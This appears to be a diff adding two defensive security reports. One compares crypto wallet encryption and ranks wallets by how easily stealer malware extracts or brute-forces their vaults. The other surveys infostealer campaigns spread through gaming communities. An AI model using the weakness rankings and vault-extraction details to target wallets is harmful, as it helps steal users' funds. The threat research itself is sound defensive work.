| **Exodus** | AES-256-GCM | Unknown (closed source) | Unknown | Yes (AppData files) | Yes (Electron) |
|
||||||
|
| **Trust Wallet (Mobile)** | AES-256 | Platform-specific | N/A | **No** (Secure Enclave/TEE) | Managed by OS secure storage |
|
||||||
|
| **Trust Wallet (Extension)** | AES (likely GCM) | Unknown | Unknown | Yes (LevelDB) | Yes |
|
||||||
|
| **Coinbase Wallet** | AES-256-GCM | PBKDF2 | Unknown (likely 600K+) | Yes (LevelDB) | Yes |
|
||||||
|
| **Rabby** | AES-GCM (128-bit) | PBKDF2 | Unknown | Yes (chrome.storage.local) | Yes |
|
||||||
|
| **Brave Wallet** | Chromium internal | Password-based | Unknown | Harder (not extension-accessible) | Yes |
|
||||||
|
| **Electrum** | AES-256-CBC + ECIES | ECIES (asymmetric) | N/A (asymmetric) | Yes (JSON wallet files) | **Only during signing** |
|
||||||
|
| **Bitcoin Core** | AES-256-CBC | SHA-512 / EVP_BytesToKey | Dynamic (machine-speed) | Yes (wallet.dat) | When unlocked |
|
||||||
|
| **Ledger Live** | **N/A (no private keys stored)** | N/A | N/A | **No keys to extract** | **Never** |
|
||||||
|
| **ZenGo** | MPC (no single key exists) | N/A | N/A | **Only 1 of 2 shares** | Only partial share |
|
||||||
|
| **Atomic Wallet** | AES (unknown mode) | Unknown | Unknown | Yes | Yes (Electron) |
|
||||||
|
| **Keplr** | AES-based | Password-based | Unknown | Yes (LevelDB) | Yes |
|
||||||
|
| **OKX (MPC mode)** | AES + MPC | N/A | N/A | Only 1 of 3 fragments | Partial |
|
||||||
|
|
||||||
|
### Security Architecture Comparison
|
||||||
|
|
||||||
|
| Wallet | Open Source | Audited | HW Wallet Support | Secure Enclave | MPC | Anti-Phishing | Tx Simulation | Supply Chain Incident |
|
||||||
|
|--------|-----------|---------|-------------------|---------------|-----|---------------|---------------|----------------------|
|
||||||
|
| MetaMask | Yes | Yes | Yes | No | No | Basic | Via Snaps | No |
|
||||||
|
| Phantom | No | Yes (Kudelski) | Yes (Ledger) | No | No | Yes | **Yes** | No |
|
||||||
|
| Exodus | No | Limited | Yes (Trezor) | No | No | No | No | No |
|
||||||
|
| Trust Wallet | Partial | Yes | Yes | **Yes (mobile)** | No | Yes | No | **Yes (Dec 2025)** |
|
||||||
|
| Coinbase Wallet | Partial | Yes | Yes | Yes (Smart Wallet) | Passkeys | Yes | Yes | No |
|
||||||
|
| Rabby | **Yes** | **Yes (3 firms)** | **Yes (5+ HW)** | No | No | **Yes (best)** | **Yes (best)** | No |
|
||||||
|
| Brave Wallet | **Yes** | Yes | Yes | No | No | Basic | No | No |
|
||||||
|
| Electrum | **Yes** | Yes | **Yes (7+ HW)** | No | No | No | N/A (BTC) | Phishing (2018) |
|
||||||
|
| Bitcoin Core | **Yes** | **Yes (most reviewed)** | N/A | No | No | No | N/A | No |
|
||||||
|
| Ledger Live | Partial | Yes | **Mandatory** | **Yes (HW SE)** | No | Yes | Yes | **Yes (2023 JS lib)** |
|
||||||
|
| ZenGo | Partial | **Yes (7 audits)** | N/A | **Yes (device)** | **Yes (2-of-2)** | **Yes** | **Yes** | No |
|
||||||
|
| Atomic Wallet | No | Limited | No | No | No | No | No | **Yes (2023, $100M+)** |
|
||||||
|
| OKX Wallet | Partial | Yes (2 firms) | Yes | No | **Yes (optional)** | Yes | Yes | No |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Attack Surface Analysis <a name="attack-surface"></a>
|
||||||
|
|
||||||
|
### How Wallet Stealer Malware Operates (2025 Landscape)
|
||||||
|
|
||||||
|
Based on threat intelligence from 2025, the primary extraction methods used by crypto-stealing malware:
|
||||||
|
|
||||||
|
1. **LevelDB File Exfiltration**: Malware copies the extension's LevelDB files from the known Chrome profile path. Since extension IDs are fixed and well-known, the file paths are predictable. Tools like `StilachiRAT` obtain Chrome's encryption key from the `Local State` file and decrypt credential stores.
|
||||||
|
|
||||||
|
2. **In-Memory Key Extraction**: When a wallet is unlocked, decrypted private keys exist in the browser process memory. Memory-reading malware can extract these without needing to crack the vault password.
|
||||||
|
|
||||||
|
3. **Browser API Hooking**: Malware hooks browser APIs to intercept the password as the user types it, then uses it to decrypt the vault offline.
|
||||||
|
|
||||||
|
4. **Malicious Extension Injection**: Fake or compromised extensions that request the same permissions can read other extensions' storage in some configurations, or inject scripts into the extension's pages.
|
||||||
|
|
||||||
|
5. **Supply Chain Attacks**: Compromised updates pushed through official channels (e.g., Trust Wallet Dec 2025, Ledger Connect Kit 2023). These bypass all client-side encryption because the malicious code runs with full extension privileges.
|
||||||
|
|
||||||
|
### Resistance Ranking by Attack Vector
|
||||||
|
|
||||||
|
| Attack Vector | Most Resistant | Least Resistant |
|
||||||
|
|--------------|---------------|-----------------|
|
||||||
|
| **Disk-based vault extraction** | ZenGo, Ledger Live, Trust Wallet (mobile) | All browser extensions, Exodus, Atomic |
|
||||||
|
| **In-memory key extraction** | Electrum (brief decryption), Ledger Live (no keys), ZenGo (partial share) | All extensions while unlocked, Electron apps |
|
||||||
|
| **Password brute-force (offline)** | MetaMask (900K iter), Bitcoin Core (dynamic), ZenGo (no password to brute) | Phantom (10K iter), older MetaMask vaults |
|
||||||
|
| **Malicious extension attack** | Brave Wallet (not an extension), ZenGo (mobile-only), Ledger Live (desktop) | All browser extension wallets equally |
|
||||||
|
| **Supply chain attack** | Open-source wallets with reproducible builds (Electrum, Bitcoin Core) | Closed-source wallets (Exodus, Phantom, Atomic) |
|
||||||
|
| **Clipboard/keylogger** | ZenGo (no seed phrase), biometric-only wallets | All wallets requiring manual seed phrase entry |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Security Rankings <a name="security-rankings"></a>
|
||||||
|
|
||||||
|
### Tier 1: Most Resistant to Local Credential Extraction
|
||||||
|
|
||||||
|
1. **Ledger Live + Hardware** -- Private keys never exist on the computer. Period. Nothing to extract.
|
||||||
|
2. **ZenGo (MPC)** -- No complete private key exists anywhere. Attacker needs simultaneous access to device + ZenGo servers.
|
||||||
|
3. **Trust Wallet (Mobile/iOS)** -- Secure Enclave storage means keys cannot be extracted even with root access. (Extension version is Tier 3.)
|
||||||
|
4. **Coinbase Smart Wallet (Passkey mode)** -- Keys managed via secure enclave + server-side AWS Nitro Enclaves.
|
||||||
|
|
||||||
|
### Tier 2: Strong Encryption, But Keys Extractable from Disk
|
||||||
|
|
||||||
|
5. **MetaMask (current version)** -- 900,000 PBKDF2 iterations make brute-force very expensive. Vault is extractable but well-protected for strong passwords.
|
||||||
|
6. **Electrum** -- ECIES wallet encryption doesn't need password in memory; keys only decrypted briefly during signing. Native application (not Electron).
|
||||||
|
7. **Bitcoin Core** -- Battle-tested AES-256-CBC; native C++ with minimal attack surface. Not encrypted by default though.
|
||||||
|
8. **Brave Wallet** -- Browser-native (not extension) eliminates entire class of extension-based attacks.
|
||||||
|
|
||||||
|
### Tier 3: Standard Browser Extension Security
|
||||||
|
|
||||||
|
9. **Rabby** -- Best pre-transaction security features, but standard extension vault encryption. Open source and well-audited.
|
||||||
|
10. **Coinbase Wallet (Extension)** -- Solid engineering, backed by public company resources.
|
||||||
|
11. **Keplr** -- Standard extension security for Cosmos ecosystem.
|
||||||
|
12. **OKX Wallet (Standard mode)** -- MPC mode elevates to Tier 2; standard mode is typical extension security.
|
||||||
|
13. **Backpack** -- xNFT sandboxing is innovative but vault encryption details are limited.
|
||||||
|
|
||||||
|
### Tier 4: Weaker or Unknown Encryption Parameters
|
||||||
|
|
||||||
|
14. **Phantom** -- NaCl SecretBox is cryptographically sound, but **PBKDF2 at only 10,000 iterations** is 90x weaker than MetaMask against offline brute-force.
|
||||||
|
15. **Trust Wallet (Extension)** -- Encryption parameters not publicly documented; recent supply chain compromise (Dec 2025) raises concerns.
|
||||||
|
16. **Exodus** -- Closed source, KDF parameters unknown, Electron-based. Convenience-oriented rather than security-hardened.
|
||||||
|
17. **Temple** -- Small team, limited public documentation on crypto parameters.
|
||||||
|
|
||||||
|
### Tier 5: Known Compromised or High Risk
|
||||||
|
|
||||||
|
18. **Atomic Wallet** -- $100M+ hack (2023, Lazarus Group); root cause never fully disclosed; closed source; potentially flawed key generation.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Key Takeaways for Defensive Security
|
||||||
|
|
||||||
|
1. **PBKDF2 iteration count is the single most important differentiator** among browser extension wallets. MetaMask's 900,000 iterations vs. Phantom's 10,000 means MetaMask vaults are 90x more expensive to brute-force.
|
||||||
|
|
||||||
|
2. **Hardware-backed key storage (Secure Enclave, TEE) is the strongest defense** against local extraction. Trust Wallet on iOS and Ledger hardware are in a different security class from browser extensions.
|
||||||
|
|
||||||
|
3. **MPC wallets (ZenGo, OKX MPC mode) eliminate the single-point-of-failure problem** entirely. There is no single key to steal.
|
||||||
|
|
||||||
|
4. **Browser-native wallets (Brave) have a structural advantage** over extensions because they are not exposed to the extension permission model and cannot be spoofed by fake extensions.
|
||||||
|
|
||||||
|
5. **All browser extension wallets share a common weakness**: the vault is stored in predictable LevelDB paths that malware can trivially locate and exfiltrate. The only defense is the strength of the password + KDF.
|
||||||
|
|
||||||
|
6. **Electron-based wallets (Exodus, Atomic, Ledger Live) expose a full Node.js runtime** to potential attackers, increasing the attack surface compared to native applications.
|
||||||
|
|
||||||
|
7. **Open-source wallets with reproducible builds (Electrum, Bitcoin Core) are the most resistant to supply chain attacks** because the distributed binary can be verified against the source code.
|
||||||
|
|
||||||
|
8. **Electrum's ECIES approach is architecturally elegant**: the password never needs to be kept in memory after encryption, and keys are only decrypted momentarily for signing. This minimizes the window for memory extraction attacks.
|
||||||
|
|
||||||
|
9. **The December 2025 Trust Wallet and 2023 Ledger Connect Kit incidents** demonstrate that supply chain attacks are a real and growing threat. Extension-based wallets that auto-update from the Chrome Web Store are particularly vulnerable to this vector.
|
||||||
|
|
||||||
|
10. **$713 million was lost from personal wallet hacks in 2025**, with 20%+ of exploits targeting browser and wallet extension layers. The browser extension model has a fundamental design flaw: extensions require broad permissions and store sensitive data in accessible locations.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sources
|
||||||
|
|
||||||
|
- [CoinLedger - Best Cryptocurrency Wallets March 2026](https://coinledger.io/tools/best-crypto-wallet)
|
||||||
|
- [CoinGecko - Top 7 Hot Wallets in 2026](https://www.coingecko.com/learn/top-hot-software-wallets-crypto)
|
||||||
|
- [Fortune Business Insights - Crypto Wallet Market Size 2025-2032](https://www.fortunebusinessinsights.com/crypto-wallet-market-109305)
|
||||||
|
- [MetaMask Help Center - Secret Recovery Phrase Guide](https://support.metamask.io/start/user-guide-secret-recovery-phrase-password-and-private-keys)
|
||||||
|
- [WispWisp - How MetaMask Stores Your Wallet Secret](https://www.wispwisp.com/index.php/2020/12/25/how-metamask-stores-your-wallet-secret/)
|
||||||
|
- [AccessDenied - Deep Dive into MetaMask Secrets](https://rya-sge.github.io/access-denied/2023/07/20/metamask-secret/)
|
||||||
|
- [MetaMask browser-passworder GitHub](https://github.com/MetaMask/browser-passworder)
|
||||||
|
- [MetaMask Vault Decryptor](https://metamask.github.io/vault-decryptor/)
|
||||||
|
- [MetaMask Encrypted Vault Paths (Gist)](https://gist.github.com/miguelmota/331edaf9ebb68159e574a5c8391dd019)
|
||||||
|
- [Phantom Security Page](https://phantom.com/security)
|
||||||
|
- [phantom_pwn - Phantom Vault Extractor & Decryptor](https://github.com/cyclone-github/phantom_pwn)
|
||||||
|
- [Exodus Security Page](https://www.exodus.com/security)
|
||||||
|
- [Trust Wallet Security Overview](https://trustwallet.com/blog/security/complete-overview-of-trust-wallet-security)
|
||||||
|
- [The Hacker News - Trust Wallet Chrome Extension Breach Dec 2025](https://thehackernews.com/2025/12/trust-wallet-chrome-extension-bug.html)
|
||||||
|
- [Coinbase Wallet Security](https://www.coinbase.com/security/wallet-security)
|
||||||
|
- [AWS - Coinbase Programmable Wallets with Nitro Enclaves](https://aws.amazon.com/blogs/web3/powering-programmable-crypto-wallets-at-coinbase-with-aws-nitro-enclaves/)
|
||||||
|
- [Rabby Wallet - Is Rabby Wallet Safe](https://support.rabby.io/hc/en-us/articles/11495710873359-Is-Rabby-Wallet-safe)
|
||||||
|
- [Least Authority - Rabby Wallet Security Audit Report](https://leastauthority.com/wp-content/uploads/2025/09/Least-Authority-Rabby-Wallet-Wallet-Extension-Final-Audit-Report.pdf)
|
||||||
|
- [Brave - Brave Wallet vs MetaMask Comparison](https://brave.com/web3/difference-brave-wallet-metamask/)
|
||||||
|
- [Hacken - Atomic Wallet Hack Overview](https://hacken.io/discover/atomic-wallet-hack/)
|
||||||
|
- [Halborn - Atomic Wallet Hack Analysis](https://www.halborn.com/blog/post/explained-the-atomic-wallet-hack-june-2023)
|
||||||
|
- [Electrum Documentation FAQ](https://electrum.readthedocs.io/en/latest/faq.html)
|
||||||
|
- [Bitcoin Wiki - Wallet Encryption](https://en.bitcoin.it/wiki/Wallet_encryption)
|
||||||
|
- [Ledger - Key Ring Protocol](https://www.ledger.com/how-we-used-ledger-key-ring-protocol-in-ledger-live)
|
||||||
|
- [ZenGo - MPC Wallet Explained](https://zengo.com/mpc-wallet/)
|
||||||
|
- [ZenGo - How Security Model Works](https://help.zengo.com/en/articles/2603678-how-zengo-security-model-works)
|
||||||
|
- [CryptoSlate - Browser Extension Fatal Design Flaw $713M in 2025](https://cryptoslate.com/how-browser-extensions-expose-your-crypto-to-a-fatal-design-flaw-that-the-industry-ignored-bleeding-713m-in-2025/)
|
||||||
|
- [Cossack Labs - Temple Wallet Security Assessment](https://www.cossacklabs.com/case-studies/temple-wallet/)
|
||||||
|
- [CryptoNews - 10 Safest Crypto Wallets in 2026](https://cryptonews.com/cryptocurrency/safest-crypto-wallet/)
|
||||||
|
- [Coin Bureau - Is Trust Wallet Safe](https://coinbureau.com/analysis/is-trust-wallet-safe)
|
||||||
|
- [Coin Bureau - Is Coinbase Wallet Safe 2026](https://coinbureau.com/analysis/is-coinbase-wallet-safe)
|
||||||
|
- [SlowMist - Browser Wallet Extension Recovery Guide](https://slowmist.medium.com/how-to-recover-your-browser-wallet-extension-from-a-sudden-failure-082f8544b63c)
|
||||||
|
- [Hashcat Forum - MetaMask Iterations Update](https://github.com/hashcat/hashcat/issues/4022)
|
||||||
@@ -0,0 +1,311 @@
|
|||||||
|
# Gaming Community Malware Distribution: Defensive Threat Intelligence Report
|
||||||
|
|
||||||
|
**Date:** March 2026
|
||||||
|
**Scope:** 2025-2026 threat landscape
|
||||||
|
**Classification:** Defensive Threat Intelligence
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Executive Summary
|
||||||
|
|
||||||
|
Gaming communities have become the single largest attack surface for infostealer malware distribution. Research by Flare analyzing 50,000+ infected devices found that **41.47% of all infostealer infections originated from gaming-related files**, making gaming the #1 lure category for threat actors in 2025. The first half of 2025 saw an **800% increase in credential theft via infostealers**, with 1.8 billion credentials stolen. Gaming-specific lures (cheats, mod menus, aimbots, skin changers) accounted for over 50% of gaming-related infections.
|
||||||
|
|
||||||
|
The dominant malware families are operated as **Malware-as-a-Service (MaaS)** — Lumma Stealer, StealC, RedLine, Raccoon, and Vidar — responsible for 75%+ of infections. The attack chain is industrialized: developers sell subscriptions, affiliates ("traffers") distribute via gaming communities, and stolen credentials are sold on dark markets.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Distribution Methods and Platforms
|
||||||
|
|
||||||
|
### 1.1 YouTube — "Ghost Network" Campaign
|
||||||
|
|
||||||
|
The single largest documented gaming malware operation in 2025. Check Point Research identified a campaign that **hijacked legitimate YouTube accounts** to post tutorial videos promising free game cheats, cracked software, and Roblox hacks.
|
||||||
|
|
||||||
|
- **Scale:** 3,000+ malicious videos identified; output tripled in 2025 vs. prior years
|
||||||
|
- **Structure:** Three-tier operation — some accounts posted videos, others flooded comments with fake praise, a third set posted community links with download URLs and passwords
|
||||||
|
- **Lures:** Roblox hacks (380M monthly active players), Fortnite cheats, cracked software (Photoshop, FL Studio)
|
||||||
|
- **Delivery:** Viewers instructed to disable antivirus, then download archives from Dropbox, Google Drive, or MediaFire
|
||||||
|
- **Payloads:** Rhadamanthys and Lumma infostealers
|
||||||
|
- **Takedown:** Google and Check Point collaborated to remove the network in October 2025
|
||||||
|
|
||||||
|
### 1.2 Discord — Invite Hijacking and Fake Beta Testing
|
||||||
|
|
||||||
|
Discord is abused through multiple vectors:
|
||||||
|
|
||||||
|
**Expired Invite Link Hijacking:**
|
||||||
|
- Check Point Research discovered attackers re-registering expired vanity invite links
|
||||||
|
- Users clicking trusted links from legitimate sources were silently redirected to malicious servers
|
||||||
|
- Payloads: AsyncRAT, Skuld Stealer, ChromeKatz
|
||||||
|
|
||||||
|
**"Try My Game" / Fake Beta Testing Scam:**
|
||||||
|
- Victims receive DMs from compromised accounts asking if they want to beta test a "new game"
|
||||||
|
- Download links provided via Dropbox, Catbox, or Discord CDN
|
||||||
|
- Archives contain NSIS or MSI installers delivering Nova Stealer, Ageo Stealer, or Hexon Stealer
|
||||||
|
- Targets: Discord tokens, browser credentials, cryptocurrency wallets
|
||||||
|
- Notable case: An NFT artist lost $170,000 in crypto and NFTs within hours
|
||||||
|
- Download counts from hosting repos exceeded 1,300 per campaign
|
||||||
|
|
||||||
|
**Discord CDN Abuse:**
|
||||||
|
- Malware hosted directly on Discord's CDN using compromised accounts
|
||||||
|
- Links appear more trustworthy because they originate from discord.com domains
|
||||||
|
|
||||||
|
### 1.3 Steam — Malicious Games and Workshop Mods
|
||||||
|
|
||||||
|
**PirateFi Incident (February 2025):**
|
||||||
|
- Free-to-play survival game on Steam Store for ~1 week (Feb 6-12, 2025)
|
||||||
|
- Built by modifying the "Easy Survival RPG" template — was never a legitimate game
|
||||||
|
- Contained Vidar infostealer packed in InnoSetup installer (Pirate.exe -> Howard.exe)
|
||||||
|
- ~1,500 downloads before removal
|
||||||
|
- Vidar used Dead Drop Resolvers on Telegram, Mastodon, and Steam profiles for C2
|
||||||
|
- Stolen browser cookies enabled session hijacking without passwords/2FA
|
||||||
|
- Victims' accounts then used to send phishing to contacts on Steam, Discord, email
|
||||||
|
- **FBI opened investigation** and sought victims publicly
|
||||||
|
- Valve responded reactively; sent notifications to affected users
|
||||||
|
|
||||||
|
**Steam Workshop — People Playground Worm (February 2026):**
|
||||||
|
- Malicious mod "FPS++" uploaded to People Playground's Steam Workshop
|
||||||
|
- Functioned as a worm: when activated, it replaced existing mods with infected copies
|
||||||
|
- Destroyed save files and Steam achievements
|
||||||
|
- Developer disabled Workshop entirely (Feb 1), released security update, re-enabled (Feb 6)
|
||||||
|
- Highlighted that **Valve does not perform universal antivirus vetting** of Workshop uploads
|
||||||
|
|
||||||
|
**Systemic Gaps:**
|
||||||
|
- Valve has only ~79 employees assigned to Steam (as of last public data) — small for a platform serving tens of millions
|
||||||
|
- Moderation is largely reactive; action taken after malware reaches users
|
||||||
|
- External links to Discord servers allowed in game listings create additional attack surface
|
||||||
|
|
||||||
|
### 1.4 GitHub and Code Repositories
|
||||||
|
|
||||||
|
**Webrat (2025):**
|
||||||
|
- Initially distributed as cheats for Rust, Counter-Strike, and Roblox
|
||||||
|
- Later expanded to target security researchers via fake PoC exploits
|
||||||
|
- Capabilities: credential theft, crypto wallet access, webcam/microphone spying, keylogging, Steam/Discord/Telegram data theft
|
||||||
|
|
||||||
|
**Blitz (2025):**
|
||||||
|
- Distributed through backdoored game cheats on Telegram channel (@sw1zzx_dev)
|
||||||
|
- Targeted players of mobile game Standoff 2
|
||||||
|
- C2 infrastructure hosted on Hugging Face Spaces (AI code repository)
|
||||||
|
|
||||||
|
**Vidar 2.0:**
|
||||||
|
- Distributed via fake game cheats on GitHub and Reddit
|
||||||
|
- Operated by Acronis-tracked campaign using both platforms for distribution
|
||||||
|
|
||||||
|
### 1.5 Mod Distribution Platforms (CurseForge, Modrinth)
|
||||||
|
|
||||||
|
**Fractureiser (June 2023 — legacy but foundational):**
|
||||||
|
- Multiple CurseForge and Bukkit accounts compromised
|
||||||
|
- Malicious code injected into popular mods/plugins, picked up by modpacks like "Better Minecraft" (4.6M downloads)
|
||||||
|
- Multi-stage, multi-platform (Windows + Linux) infostealer
|
||||||
|
- Capabilities: clipboard crypto-address swapping, Minecraft/Discord token theft, browser credential theft
|
||||||
|
- Led to creation of community detection tools and improved platform security
|
||||||
|
- CurseForge and Modrinth both enhanced their scanning post-incident
|
||||||
|
|
||||||
|
### 1.6 Fake Client/Launcher Websites
|
||||||
|
|
||||||
|
**Lunar Client Impersonation:**
|
||||||
|
- Fake websites mimicking lunarclient.com distribute malware or credential phishing
|
||||||
|
- Fake Discord bots with altered Lunar Client logos send links to phishing sites
|
||||||
|
- Scam pages prompt Microsoft email entry, then use verification codes to hijack accounts
|
||||||
|
- Legitimate domains: lunarclient.com, moonsworth.com, overwolf.com only
|
||||||
|
|
||||||
|
### 1.7 Telegram Channels
|
||||||
|
|
||||||
|
- Used by Blitz developer to distribute backdoored cheats
|
||||||
|
- CS2 skin scams increasingly spread through Telegram and Discord bots
|
||||||
|
- Fake giveaways, phishing links, and fake investment offers
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Malware Families Targeting Gamers
|
||||||
|
|
||||||
|
| Family | Type | Distribution | Notable Traits |
|
||||||
|
|--------|------|-------------|----------------|
|
||||||
|
| **Lumma Stealer** | MaaS Infostealer | YouTube, Discord, fake cheats | 394K+ PCs infected (Mar-May 2025); tracked as Storm-2477 by Microsoft |
|
||||||
|
| **Vidar** | Infostealer | Steam games (PirateFi), GitHub, fake cheats | Dead Drop Resolvers on Telegram/Steam profiles; Vidar 2.0 emerged after Lumma disruption |
|
||||||
|
| **RedLine** | Infostealer | Fake cheats ("Cheat Lab"), GitHub | Self-propagating variant asked victims to recruit friends |
|
||||||
|
| **StealC** | Infostealer | Gaming cheats | $135K+ stolen assets via gaming infection chains |
|
||||||
|
| **Raccoon** | Infostealer | Roblox mods, game cracks | Common in Roblox ecosystem |
|
||||||
|
| **Rhadamanthys** | Infostealer | YouTube Ghost Network | Delivered via GachiLoader with novel VEH-based PE injection |
|
||||||
|
| **Webrat** | RAT/Backdoor | GitHub repos, fake game cheats | Evolved from gaming cheats to fake security PoCs |
|
||||||
|
| **Blitz** | Malware | Telegram, game cheats | Hosted C2 on Hugging Face Spaces |
|
||||||
|
| **AsyncRAT** | RAT | Discord invite hijacking | Full remote access capability |
|
||||||
|
| **Skuld Stealer** | Infostealer | Discord campaigns | Targets credentials and Discord tokens |
|
||||||
|
| **GodLoader** | Loader | Godot engine abuse | Undetected by nearly all AV engines on VirusTotal |
|
||||||
|
| **RenEngine** | Loader | Pirated game installers | 400K+ systems compromised; 30K+ in US alone |
|
||||||
|
| **Stealka** | Infostealer | Roblox executors, game cracks | Kaspersky-discovered; targets younger users |
|
||||||
|
| **Myth Stealer** | Infostealer | Fake gaming sites | Rust-based; targets Chrome/Firefox |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Infection Chain — End-to-End
|
||||||
|
|
||||||
|
### Typical Flow:
|
||||||
|
|
||||||
|
```
|
||||||
|
1. LURE CREATION
|
||||||
|
- Threat actor creates YouTube video / Discord message / GitHub repo
|
||||||
|
- Content promises: free cheats, game cracks, skin changers, Robux generators
|
||||||
|
- Social proof manufactured: fake comments, likes, download counts
|
||||||
|
|
||||||
|
2. TRAFFIC ROUTING
|
||||||
|
- Victim clicks link in video description / Discord DM / GitHub README
|
||||||
|
- Routed through Linkvertise or similar ad-gate services (monetization + obfuscation)
|
||||||
|
- May pass through Prometheus TDS (Traffic Distribution System) on compromised sites
|
||||||
|
- Final landing: MediaFire, Mega.nz, Dropbox, Google Drive, Discord CDN
|
||||||
|
|
||||||
|
3. SOCIAL ENGINEERING
|
||||||
|
- Instructions to disable antivirus ("required for the cheat to work")
|
||||||
|
- Password-protected archives (evades automated scanning)
|
||||||
|
- Sometimes partially functional tools included to build trust
|
||||||
|
|
||||||
|
4. INITIAL EXECUTION
|
||||||
|
- Archive contains installer (NSIS, MSI, InnoSetup) or direct executable
|
||||||
|
- May use game engines as loaders (Godot/GDScript, Ren'Py, Lua runtime)
|
||||||
|
- GachiLoader uses Node.js with Vectored Exception Handler abuse
|
||||||
|
- Batch files, Lua scripts, or compiled binaries serve as first stage
|
||||||
|
|
||||||
|
5. PAYLOAD DELIVERY
|
||||||
|
- Loader contacts C2 via Dead Drop Resolvers (Telegram, Steam profiles, Mastodon)
|
||||||
|
- Downloads final payload: Lumma, Vidar, RedLine, Rhadamanthys, etc.
|
||||||
|
- Modular architecture allows payload swaps without changing initial vector
|
||||||
|
|
||||||
|
6. DATA EXFILTRATION
|
||||||
|
- Browser passwords, cookies, session tokens
|
||||||
|
- Discord tokens, Steam sessions
|
||||||
|
- Cryptocurrency wallet data
|
||||||
|
- Clipboard monitoring for crypto address swapping
|
||||||
|
- Screenshots, keylogging, webcam access (Webrat)
|
||||||
|
|
||||||
|
7. PROPAGATION
|
||||||
|
- Stolen accounts used to send malicious links to victim's contacts
|
||||||
|
- Self-spreading variants (RedLine "Cheat Lab") incentivize victims to recruit
|
||||||
|
- Steam Workshop worms replicate by replacing existing mods
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Trust-Building and Social Engineering Tactics
|
||||||
|
|
||||||
|
1. **Manufactured social proof:** Fake YouTube comments, likes, and community posts create illusion of legitimacy
|
||||||
|
2. **Hijacked legitimate accounts:** Compromised YouTube channels with existing subscriber bases used to post malware videos
|
||||||
|
3. **Partially functional tools:** Cheats that actually work (at least initially) while silently running malware
|
||||||
|
4. **Friend-to-friend spreading:** Stolen accounts send links that appear to come from trusted friends
|
||||||
|
5. **Recruitment incentives:** RedLine variant promised "free cheat copy if you get friends to install"
|
||||||
|
6. **Professional presentation:** Fake games like PirateFi built using real game templates with store pages, screenshots
|
||||||
|
7. **Targeting young users:** Roblox-focused campaigns exploit children who are less security-aware; promise free Robux
|
||||||
|
8. **Impersonation of legitimate tools:** Fake Lunar Client, fake mod loaders, fake game launchers mimicking real products
|
||||||
|
9. **Urgency and exclusivity:** "Limited beta test" invitations, time-limited offers
|
||||||
|
10. **Anti-AV normalization:** Gaming community culture where disabling antivirus for cheats is common and expected
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Games and Communities Most Targeted
|
||||||
|
|
||||||
|
**Tier 1 — Highest Targeting:**
|
||||||
|
- **Roblox** — 380M monthly active players, younger demographic, executor/mod culture
|
||||||
|
- **Minecraft** — Massive modding ecosystem, CurseForge/Modrinth supply chain
|
||||||
|
- **Counter-Strike 2** — Skin trading economy worth billions, cheat culture
|
||||||
|
- **Fortnite** — Huge player base, active cheat-seeking community
|
||||||
|
- **Grand Theft Auto** — Mod menus, cracked versions, GTA Online cheats
|
||||||
|
|
||||||
|
**Tier 2 — Significant Targeting:**
|
||||||
|
- **Valorant** — Anti-cheat (Vanguard) drives users to seek external cheats
|
||||||
|
- **Rust** — Active cheat market
|
||||||
|
- **Roblox (mobile games)** — Standoff 2 specifically targeted by Blitz
|
||||||
|
- **People Playground** — Steam Workshop worm incident
|
||||||
|
|
||||||
|
**Why These Games:**
|
||||||
|
- Large player bases = larger victim pools
|
||||||
|
- Active modding/cheating cultures = users accustomed to downloading external tools
|
||||||
|
- Virtual economies (skins, Robux, V-Bucks) = direct monetization of stolen accounts
|
||||||
|
- Young demographics = less security awareness
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Scale and Success Metrics
|
||||||
|
|
||||||
|
| Metric | Value | Source |
|
||||||
|
|--------|-------|--------|
|
||||||
|
| Gaming-related infection share | 41.47% of all infostealer infections | Flare Research |
|
||||||
|
| Credentials stolen H1 2025 | 1.8 billion | Multiple sources |
|
||||||
|
| Lumma infections (Mar-May 2025) | 394,000+ Windows PCs | Microsoft |
|
||||||
|
| RenEngine compromises | 400,000+ globally; 30,000+ in US | Cyderes |
|
||||||
|
| YouTube Ghost Network videos | 3,000+ malicious videos | Check Point |
|
||||||
|
| PirateFi downloads | ~1,500 | Valve/Steam |
|
||||||
|
| Credential theft increase | 800% in H1 2025 | Flare Research |
|
||||||
|
| StealC gaming-related theft | $135,000+ in stolen assets | Industry reports |
|
||||||
|
| Top MaaS market share | Lumma + StealC + RedLine = 75%+ of infections | KELA |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Platform Defenses and Gaps
|
||||||
|
|
||||||
|
### Steam/Valve
|
||||||
|
- **Defenses:** Community reporting/flagging, ML-based anomalous code detection, trade protection (7-day lock on traded skins), post-incident user notifications
|
||||||
|
- **Gaps:** Tiny moderation team (~79 for all of Steam), reactive not proactive, no universal antivirus scanning of Workshop uploads, external links in game listings exploitable, Easy Survival RPG-style template abuse not caught
|
||||||
|
|
||||||
|
### Discord
|
||||||
|
- **Defenses:** Content moderation, link scanning, CDN abuse reporting
|
||||||
|
- **Gaps:** Expired vanity invite links can be re-registered by attackers, CDN still abused for malware hosting, DM-based scams difficult to moderate at scale
|
||||||
|
|
||||||
|
### YouTube/Google
|
||||||
|
- **Defenses:** Automated content moderation, account security measures, collaborated with Check Point to remove Ghost Network
|
||||||
|
- **Gaps:** Hijacked legitimate accounts bypass trust signals, comment manipulation creates false credibility, download links in descriptions route to external hosting
|
||||||
|
|
||||||
|
### CurseForge/Modrinth
|
||||||
|
- **Defenses:** Enhanced scanning post-Fractureiser, detection tools released, infected files removed
|
||||||
|
- **Gaps:** Account compromise of mod authors can bypass content scanning, supply chain attacks through popular modpacks
|
||||||
|
|
||||||
|
### GitHub
|
||||||
|
- **Defenses:** Community reporting, some automated scanning
|
||||||
|
